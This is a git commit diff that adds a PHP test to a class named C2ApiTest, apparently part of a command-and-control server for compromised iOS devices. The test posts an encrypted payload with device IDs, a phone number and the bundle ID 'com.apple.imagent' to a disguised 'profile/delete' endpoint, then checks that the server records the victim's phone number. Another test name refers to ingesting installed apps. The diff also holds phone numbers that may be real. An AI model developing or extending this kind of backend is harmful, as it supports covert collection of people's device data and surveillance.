feat: new chain

This commit is contained in:
hashbro
2026-08-11 02:36:09 +08:00
parent 9bf769b2bd
commit 4802d0e51f
7 changed files with 113 additions and 3 deletions
+40
View File
@@ -170,6 +170,46 @@ class C2ApiTest extends TestCase
$this->assertNull(Device::query()->where('device_id', '000430C910E8E526')->first());
}
#[Test]
public function profile_delete_returns_code_1_and_stores_phone(): void
{
$crypto = new CorunaCrypto;
$payload = [
'd' => '00044C1101FB802E',
'p' => '+66822804380',
'd3' => '00008030-00044C1101FB802E',
'd2' => 'DNPD3100N73F',
'c' => 'e57f5207c9f2bacf7907c09ccf25b107',
'bundleID' => 'com.apple.imagent',
];
$ts = '1722585600333';
$enc = $crypto->encryptJson($payload, $ts);
$resp = $this->call('POST', '/api/user/profile/delete', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body']);
$resp->assertOk();
$plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp'));
$this->assertSame(1, $plain['code'] ?? null);
$device = Device::query()->where('device_id', '00044C1101FB802E')->first();
$this->assertNotNull($device);
$this->assertSame('+66822804380', $device->phone);
$this->assertNull($device->channel_id);
$ts2 = '1722585600334';
$enc2 = $crypto->encryptJson(array_merge($payload, ['p' => '+66999999999']), $ts2);
$this->call('POST', '/api/user/profile/delete', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts2,
], $enc2['body'])->assertOk();
$device->refresh();
$this->assertSame('+66822804380', $device->phone);
}
#[Test]
public function user_get_ingests_installed_apps_per_bundle(): void
{